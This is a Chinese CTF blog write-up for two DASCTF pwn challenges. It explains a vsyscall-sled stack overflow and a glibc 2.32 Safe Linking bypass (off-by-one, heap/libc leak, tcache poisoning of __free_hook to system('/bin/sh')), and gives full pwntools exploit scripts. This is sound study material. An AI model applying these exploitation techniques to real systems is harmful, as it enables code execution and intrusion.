DASCTF8月赛

字数统计: 1.8k字   |   阅读时长≈ 8分

DASCTF8月赛，PWN题题解，学习中。

magic_number

程序分析

image-20201002175712048

程序功能很简单，存在一个栈溢出漏洞可以。

但是，程序开了 PIE 和 NX 保护，很难通过栈溢出修改 ret地址 和 直接写入 shellcode 执行。

利用分析

image-20201002175835424

这里需要用到一个不常用的知识，在程序内存中有一处基址是不会改变的， 即 0xffffffffff600000 这个地址永远都是 vsyscall，而如果系统执行了 这个指令，其实整个栈是会直接向后滑动的，也就是说 这个 syscall 可以直接当作 滑板指令，使我们的 rsp 滑到后面的地址去。

如果我们先利用 这个地址来填充 ret 和其后面的地址，再将一个 栈上的地址后一位 改成 system 的地址，那么就可以通过 syscall 滑板指令不断滑到 system 地址执行。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.log_level = 'debug'

#p = process('./magic_number')
from pwn import *

while True:
    try:
        p = process('./magic_number')
        #p = remote('183.129.189.60',10010)
        p.recvuntil('Your Input :\n')
        pay = 'a'*0x38+p64(0xffffffffff600000) * 0x4 + p8(0xa8)
        p.send(pay)
        p.interactive()
    except EOFError,e:
        p.close()

SoSafeMinePool

glibc 2.32 Safe Linking

题目给的glibc 是 2.32的，引入了新的保护机制：Safe Linking

在之前的 glibc 中，tcache 和 fastbin 非常不安全，其机制都是单链表储存了chunk，一个空闲chunk指向下一个空闲chunk，而 Safe Linking引入了两个宏：

1
2
3
4
5
#define PROTECT_PTR(pos, ptr)
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))

#define REVEAL_PTR(ptr)
    PROTECT_PTR (&ptr, ptr)

对于在 tcache chunk或者 fastbin chunk被放入链上的时候，会调用 PROTECT_PTR ，在从链上取下来的时候，会调用 REVEAL_PTR，拿 tcache 的 代码举例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/* Caller must ensure that we know tc_idx is valid and there's room
   for more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  if (__glibc_unlikely (!aligned_OK (e)))
    malloc_printerr ("malloc(): unaligned tcache chunk detected");
  tcache->entries[tc_idx] = REVEAL_PTR (e->next);
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}

同一段代码在 2.31 和 2.32 的对比：

1
2
3
4
long *a = malloc(0x100);
long *b = malloc(0x100);
free(a);
free(b);

对于 2.31来说，执行第一次 free 的时候，会做三件事：把 key 这个 field 填上tcache 结构的地址，把 next 这个 field 填上对应链表的尾部，然后把之前链表的尾部更新为自己的地址。

而对于 2.32来说，则是把第二步更换为了：把 next 这个field 填上 PROTECT_PTR(&自己，对应链表尾部)

内存区别：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// 2.31
// first free
pwndbg> x/10xg 0x405290
0x405290:    0x0000000000000000    0x0000000000000111
0x4052a0:    0x0000000000000000    0x0000000000405010
// second free
pwndbg> x/10xg 0x405290
0x405290:    0x0000000000000000    0x0000000000000111
0x4052a0:    0x0000000000000000    0x0000000000405010

pwndbg> x/10xg 0x4053a0
0x4053a0:    0x0000000000000000    0x0000000000000111
0x4053b0:    0x00000000004052a0    0x0000000000405010

pwndbg> bin
tcachebins
0x110 [  2]: 0x4053b0 —▸ 0x4052a0 ◂— 0x0

// 2.32
// first free
pwndbg> x/20xg 0x405290
0x405290:    0x0000000000000000    0x0000000000000111
0x4052a0:    0x0000000000000405    0x0000000000405010
// second free
pwndbg> x/10xg 0x405290
0x405290:    0x0000000000000000    0x0000000000000111
0x4052a0:    0x0000000000000405    0x0000000000405010

pwndbg> x/10xg 0x4053a0
0x4053a0:    0x0000000000000000    0x0000000000000111
0x4053b0:    0x00000000004056a5    0x0000000000405010

2.32版本在第一次 free 时，0x405290 的 next 被写成了 PROTECT_PTR(0x4052a0, 0)，第二次 free，0x4053a0 的 next为 PROTECT_PTR(0x4053b0, 0x4052a0)。后续，如果尝试 malloc(0x100)，程序就会从链尾取 chunk，也就是 0x4053a0。同时，计算 REVEAL_PTR(0x4056a5)，将原本的 指针放回链上，这个计算也就等价于 PROTECT_PTR(0x4053b0, 0x4056a5)。

还有一个改动，即 tcache 现在需要与 0x10 对齐。

程序分析

image-20201002190921832

在 Edit 函数中，循环读取每一位时，由于 i 使用了 float类型，存在一个浮点数溢出，当输入size 为 0.4 时，其实会输入 41次。即存在 off-by-one 漏洞。

利用分析

  1. 泄露heap地址

申请7块size1(size1 小于fastbin范围）的chunk，申请7块size2(size2大于fastbin范围）的chunk。随后申请 4 个 chunk，其大小分别为 size1, size2, size1, size1，块号分别用 chunk14, chun15, chunk16, chunk17代替。

然后释放size1的7个chunk填满tcache，释放7个size2的chunk填满tcache。 再将释放 chunk15，则 chunk15会被放入 unsortedbin 块中。然后利用 chunk14 的 off-by-one漏洞 修改 chunk15 的 size为 size2+size1。然后通过 chunk16 的 off-by-one 漏洞 修改 chunk17 的 prev_size 为 size1+size2，修改 chunk17 的 prev_inuse 位为0。

然后再申请一个 size1+size2 大小的 chunk，此时编号为 chunk0，则chunk0 就能够覆盖 chunk16的数据。由于 add函数时 会通过memset 清空chunk，所以我们要先 恢复 chunk16 的size。再释放 chunk16，此时chunk 16会被放入 fastbin中，并且其 fd 指针的值为 (&fd >> 12) ^0，也就是只需要 将得到的fd指针右移12位即可得到真实的 heap地址。

  1. 泄露 libc 地址

这里有一种新的泄露Libc的操作

1
2
3
4
1. fastbin中的chunk会在malloc_consolidate之后进入unsorted bin
2. 申请一个大小在largebin范围内时，_int_malloc函数会调用malloc_consolidate函数
3. scanf接受一个超长的字符串时会申请一个large chunk
4. 本题接受用户选项的函数为scanf

所以可以再 scanf 时输入超长字符串，然后会去申请一个 large chunk，将 chunk16从 fastbin中 合并到 unsortedbin中，泄露libc 地址。

当然，也可以通过传统的方法，修改 chunk16的地址 为size2，并在 chunk17 中 由 chunk16_addr - size2的地方伪造 一个size 和 prev_inuse位，再释放chunk16到 unsortedbin中，最后泄露。

  1. tcache poisoning

得到 Heap 地址和 libc 地址后，就可以伪造出 tcache 的 fd 值了。

先释放一个 size1的 chunk和 chunk16到 tcache中，此时tcache 链为：chunk16 -> chunk.

计算 (chunk_16_addr >> 12)^free_hook 的值，修改为 chunk16 的fd值。

最后两次申请 chunk，即可将 free_hook 申请出来

  1. getshell

将 free_hook 改为 system 地址，将一个堆块内容设为 /bin/sh ，再释放该堆块即可 getshell。

此处尝试 one_gadget 报错，有可能是 2.32 版本下的 gadget 更难利用。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
# encoding=utf-8
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
    
elf = ELF('./pwn')
debug = 1
if debug:
    p = process('./pwn')
    # gdb.attach(p, 'b *0x5555555557F8')
    libc = ELF('./libc.so.6')
else:
    p = remote('183.129.189.60', 10049)
    libc = ELF('libc.so.6')

gadgets = [0xc8aaa, 0xc8aad, 0xc8ab0]
def add(size):
    p.sendlineafter(">> ", "1")
    p.sendlineafter("(1 block = 100 byte)\n", str(size / float(100)))


def delete(index):
    p.sendlineafter(">> ", "2")
    p.sendlineafter("ID of your pool: ", str(index))


def show(index):
    p.sendlineafter(">> ", "3")
    p.sendlineafter("ID of your pool: ", str(index))


def edit(index, content):
    p.sendlineafter(">> ", "4")
    p.sendlineafter("ID of your pool: ", str(index))
    p.sendafter("Fill it: ", content)


def float2bytes(f):
    return struct.pack("f", f)


def bytes2float(f):
    return struct.unpack("!f", f)[0]


def pwn():
    #fill 0x100 tcache
    for i in range(7):
        add(0x28)

    for i in range(7):
        add(0x80)

    add(0x28)   #14
    add(0x80)  #15
    add(0x28)   #16
    add(0x28)   #17

    for i in range(7):
        delete(i)
    for i in range(7, 14):
        delete(i)
    #gdb.attach(p)
    delete(15)
	#edit chunk 15 size
    payload = 'a'*0x28 + p64(0x91+0x30)[:1]
    edit(14, payload)
    #edit chunk 16 prev_size
    payload = 'a'*0x20 + p64(0x91+0x30) + p64(0x30)[:1]
    edit(16, payload)
    add(0xb8)  #0

    payload = 'a'*0x80 + p64(0) + p64(0x31) + 'a'*0x28 + p64(0x31)[:1]
    edit(0, payload)
    delete(16)
    show(0)
    p.recvuntil('a'*0x80)
    heap_addr = u64(p.recv(30)[16:22].ljust(8, '\x00')) << 12
    print 'heap_addr:',hex(heap_addr)
    
    p.sendlineafter(">> ", '0' * 0x400)
    show(0)
    p.recvuntil('a'*0x80)
    libc_addr = u64(p.recv(30)[16:22].ljust(8, '\x00'))
    libc_base = libc_addr - 0x1b7c20
    print 'libc_addr:',hex(libc_addr)
    print 'libc_base:',hex(libc_base)
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    print 'malloc_hook:',hex(malloc_hook)
    gadget = gadgets[2] + libc_base
    print 'gadget:',hex(gadget)
    free_hook = libc_base + libc.sym['__free_hook']
    print 'free_hook:',hex(free_hook)
    system_addr = libc_base + libc.sym['system']
    print 'system_addr:',hex(system_addr)
    for i in range(7):
        add(0x28)

    add(0x28)   #8
    delete(1)
    delete(8)
    payload = 'a'*0x80 + p64(0) + p64(0x31) + p64(((heap_addr+0x890) >> 12) ^ free_hook)
    payload = payload.ljust(0xb8, '\x00') + b'\x31'
    edit(0, payload)
    add(0x28)   #1
    add(0x28)   #8, malloc_hook
    edit(8, p64(system_addr).ljust(0x29, '\x00'))
    #add(0x28)
    payload = '/bin/sh\x00'
    payload = payload.ljust(0x28, '\x00') + b'\x31'
    edit(1, payload)
    delete(1)
    # add()
    p.interactive()

pwn()

参考

https://dere.press/sosafeminepool/

https://publicki.top/2020/08/25/SoSafeMinePool/

image-20201017155350454

赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing